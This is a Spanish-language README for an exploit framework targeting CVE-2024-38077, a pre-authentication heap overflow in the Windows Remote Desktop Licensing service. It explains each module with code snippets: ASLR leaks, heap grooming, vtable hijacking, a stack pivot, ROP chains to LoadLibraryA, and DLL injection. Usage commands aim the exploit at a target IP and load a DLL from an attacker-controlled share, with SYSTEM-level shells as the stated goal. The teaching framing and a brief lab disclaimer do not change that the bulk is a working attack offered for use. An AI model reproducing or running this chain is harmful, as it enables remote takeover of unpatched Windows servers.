
Framework de exploits modular para CVE-2024-38077 (desbordamiento de montón de RDL de Windows) con bypass de ASLR, preparación de montón, generación de cadenas ROP y cargas útiles de inyección de DLL para ejecución remota de código sin autenticación previa.
Este documento explica cada componente del framework, por qué existe, y cómo funciona la explotación de heap buffer overflow en Windows moderno.
El Windows Remote Desktop Licensing Service (lserver.exe) contiene un heap buffer overflow en la función CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILIDAD: Cálculo incorrecto de tamaño │
├─────────────────────────────────────────────────────────────┤
│ 1. Cliente envía datos Base64 de tamaño N │
│ 2. Servidor calcula: buffer_size = (N / 4) * 3 │
│ 3. Servidor asigna buffer de 'buffer_size' bytes │
│ 4. Decode Base64 REALMENTE escribe: ceil(N * 3/4) bytes │
│ 5. Si N no es múltiplo de 4: ¡OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Ejemplo concreto:
(4001 / 4) * 3 = 1000 * 3 = 3000 bytes asignadosceil(4001 * 0.75) = 3001 bytes escritos┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FundaciónUtilidades de bajo nivel para manipulación de memoria.
Los exploits necesitan:
# Pack/Unpack - Convertir enteros a bytes y viceversa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Patrón Cíclico - Para identificar offset de crash
cyclic(100) # Genera secuencia De Bruijn
cyclic_find(pattern, value) # Encuentra offset del valor
# Alineación - Memoria necesita estar alineada
align(0x1003, 0x10) # → 0x1010 (alinea a 16 bytes)
Problema real: Causas un crash y el RIP contiene 0x61616171.
cyclic_find(pattern, 0x61616171) → ¡offset exacto!leak.py - Bypass de ASLRAddress Space Layout Randomization: En cada boot/ejecución, las direcciones cambian.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Sin saber dónde está la memoria:
class LeakInfo:
"""Contenedor para direcciones filtradas"""
heap_base: int # Base del heap
ntdll_base: int # Base de ntdll.dll
kernel32_base: int # Base de kernel32.dll
# ...
class LeakProvider:
"""Orquestador de fuentes de leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Intenta cada fuente hasta conseguirlo
| Fuente | Cómo Funciona | Cuándo Usar |
|---|---|---|
ManualLeakSource |
En demostraciones/labs, puedes:
--ntdll-base 0x7ffa...Esto simula tener un leak real, permitiendo probar el resto de la cadena.
target_model.py - Mapeo del ObjetivoModelado de las estructuras de datos vulnerables y adyacentes.
Overflow ≠ Explotación. Necesitamos saber:
class VulnerableBuffer:
"""El buffer que va a sufrir overflow"""
allocation_size: int # Cuánto se asignó
write_size: int # Cuánto se escribirá
overflow_amount: int # Diferencia = overflow
def calculate_overflow(input_size):
# Simula el bug de cálculo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Objeto que será corrompido (adyacente en el heap)"""
fields: List[StructField]
has_vtable: bool # ¿Tiene tabla virtual?
has_function_ptr: bool # ¿Tiene puntero de función?
# Objeto hipotético basado en análisis reverso
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campos mapeados
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marca campos útiles para explotación:
vtable: Si sobrescribimos, controlamos llamadas de métodocallback: Si sobrescribimos, controlamos cuando se llama al callbackwrite_primitive.py - Escritura ControladaOverflow escribe datos secuenciales. Pero necesitamos:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Construye buffer de overflow con valores precisos
Layout:
[PADDING hasta offset] [VALOR CONTROLADO] [MÁS DATOS]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Coloca valor exacto en el offset exacto
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Sobrescribir vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# Sobrescribir callback
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| Escritura | Resultado |
|---|---|
| AAAA... | Crash sin control |
| Dirección precisa en offset preciso | Ejecución controlada |
heap_controller.py - Heap GroomingWindows usa LFH (Low Fragmentation Heap) y Segment Heap:
Grooming = Masajear el heap para layout determinista.
ANTES DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Asignaciones aleatorias, agujeros impredecibles
DESPUÉS DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "agujeros" donde queremos
class HeapLayoutController:
def execute_full_groom(self):
# Fase 1: Rellenar agujeros existentes
self.phase_fill(50)
# Fase 2: Activar LFH para el bucket objetivo
# (Windows activa LFH después de ~17 asignaciones del mismo tamaño)
self.phase_activate_lfh()
# Fase 3: Spray - crear patrón denso
sprayed = self.phase_spray(200)
# Fase 4: Crear agujeros estratégicos
# Liberamos cada N asignaciones
self.phase_create_holes(sprayed, interval=4)
# Fase 5: Estabilizar
self.phase_stabilize()
trigger.py - Gatillo Post-CorrupciónCorrupción ocurrió. ¿Y ahora?
Estado actual:
- Memoria corrompida ✓
- Valor malicioso escrito ✓
- ¡Pero nadie USÓ ese valor todavía!
Necesitamos que el programa lea y use el dato corrompido.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# Estrategias implementadas:
class SecondRequestTrigger:
"""Hace segunda llamada RPC que usa objeto corrompido"""
class DestructorTrigger:
"""Desconecta - fuerza cleanup que usa punteros corrompidos"""
class TimerTrigger:
"""Espera timer interno procesar estado corrompido"""
1. Primera llamada RPC → Corrupción ocurre
2. Disconnect (trigger) → Server llama destructor
3. Destructor lee vtable corrompida → Llama nuestra dirección
4. ¡Ejecución controlada!
execution.py - Control de FlujoRIP (x64) o EIP (x86) = Instruction Pointer
Si controlamos el instruction pointer, controlamos la ejecución.
class HijackMethod(Enum):
VTABLE = 0 # Más común en heap overflow
FUNCTION_PTR = 1 # Callback pointer
RETURN_ADDR = 2 # Stack overflow (no es nuestro caso)
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← Legítimo
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
TRAS CORRUPCIÓN:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← ¡NUESTRO!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
¡Cuando method1 es llamado → Ejecuta nuestro gadget!
Problema: vtable hijack nos da UNA call. Necesitamos más.
Solución: Stack Pivot
# Gadget que cambia RSP a donde tenemos ROP chain
xchg rax, rsp; ret # RAX = nuestra dirección → RSP = nuestra dirección
# ¡Ahora el "stack" es nuestra área controlada!
# Cada RET salta al siguiente gadget de nuestra ROP chain
code_reuse.py - ROP ChainsDEP (Data Execution Prevention): Heap y Stack son NO EJECUTABLES.
Shellcode en heap → CRASH (access violation - execute)
ROP = Return-Oriented Programming
Encadenamos "gadgets" - pequeños trozos de código que terminan en RET.
GADGET 1: pop rcx; ret ← Coloca valor en RCX
GADGET 2: pop rdx; ret ← Coloca valor en RDX
GADGET 3: call LoadLibraryA ← ¡Llama función!
STACK/ROP CHAIN (nuestra área controlada):
┌────────────────────┐
│ addr de pop_rcx │ ← RSP apunta aquí
├────────────────────┤
│ valor para RCX │ ← Será "popado" a RCX
├────────────────────┤
│ addr de pop_rdx │ ← RET va aquí
├────────────────────┤
│ valor para RDX │
├────────────────────┤
│ addr LoadLibraryA │ ← Finalmente llama!
└────────────────────┘
# Cargar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain
# Asignar memoria ejecutable
build_virtual_alloc(size) → ROP chain + RAX = dirección RWX
# Ejecutar comando
build_winexec(cmd_addr) → ROP chain
payload.py - Payload Semántico| Tipo | Ejemplo | Resultado |
|---|---|---|
| Datos | AAAAAA... | Crash |
| Intención | ROP + DLL path | DLL cargada |
class PayloadIntent(Enum):
CRASH_TEST = 0 # Verificar si explotación funciona
DLL_INJECT = 1 # Cargar nuestra DLL
COMMAND_EXEC = 2 # Ejecutar comando
SHELLCODE = 3 # Ejecutar shellcode vía ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
Estructura final:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← Ejecuta primero
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← String de la ruta
└──────────────────────────────┘
La ROP chain pasa la dirección de la string a LoadLibraryA
"""
mitigations.py - Conciencia de Mitigacionesdef adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # Obligatorio
if mitigations.ASLR.enabled:
config["require_leak"] = True # Obligatorio
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # Más spray
┌─────────────────────────────────────────────────────────────────┐
│ FLUJO DE EXPLOTACIÓN │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK (ASLR Bypass)
├─ Obtener direcciones de memoria
├─ Input: manual o auto-leak
└─ Output: LeakInfo con bases de módulos
↓
STAGE 2: ANALYZE (Target Mapping)
├─ Calcular overflow amount
├─ Identificar objetos adyacentes
└─ Determinar offsets de corrupción
↓
STAGE 3: GROOM (Heap Shaping)
├─ Fill → Activate LFH → Spray → Holes
├─ Crear layout determinista
└─ Preparar "zona de aterrizaje" para asignación vulnerable
↓
STAGE 4: PAYLOAD (Build)
├─ Construir ROP chain
├─ Incluir strings/datos necesarios
└─ Combinar con datos de overflow
↓
STAGE 5: CORRUPT (Trigger Overflow)
├─ Enviar llamada RPC maliciosa
├─ Causar overflow
└─ Sobrescribir objetivo (vtable/callback)
↓
STAGE 6: TRIGGER (Force Use)
├─ Disconnect o segunda llamada
├─ Forzar uso de puntero corrompido
└─ Hijack de ejecución
↓
STAGE 7: EXECUTE (RCE)
├─ ROP chain ejecuta
├─ LoadLibraryA carga DLL
└─ ¡CÓDIGO ARBITRARIO EJECUTÁNDOSE!
↓
┌─────────────────────────────────────────────────────────────┐
│ RESULTADO: Shell reverso, backdoor, etc. como SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# Solo verificar si el servicio está corriendo
python -m madlicense.poc -t 10.0.0.5 --check
# Dry run (no envía payload, simula todo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Ejecutar calc.exe (PoC clásico)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
Este framework es para:
NO para:
Frase clave:
"Explotar un heap buffer overflow en Windows moderno no es solo 'escribir demasiado'. Es una cadena precisa de leak → groom → corrupt → trigger → execute."
Los 9 Módulos:
Sin cualquiera de estos, no hay RCE.
| Usuario proporciona direcciones |
| Lab/Debug con acceso al objetivo |
ResponseLeakSource | Extrae de respuestas RPC | Si el servicio filtra punteros |
TimingLeakSource | Side-channel de tiempo | Teórico, muy difícil |
| Mitigación | Qué Hace | Nuestro Bypass |
|---|
| DEP | Heap/Stack no ejecutable | ROP (reuso de código) |
| ASLR | Direcciones aleatorizadas | Info leak |
| CFG | Valida destinos de calls | Llamar destinos válidos, luego pivot |
| Stack Cookie | Detecta stack overflow | No usamos stack overflow |
| Heap Hardening | Guard pages, etc | Grooming cuidadoso |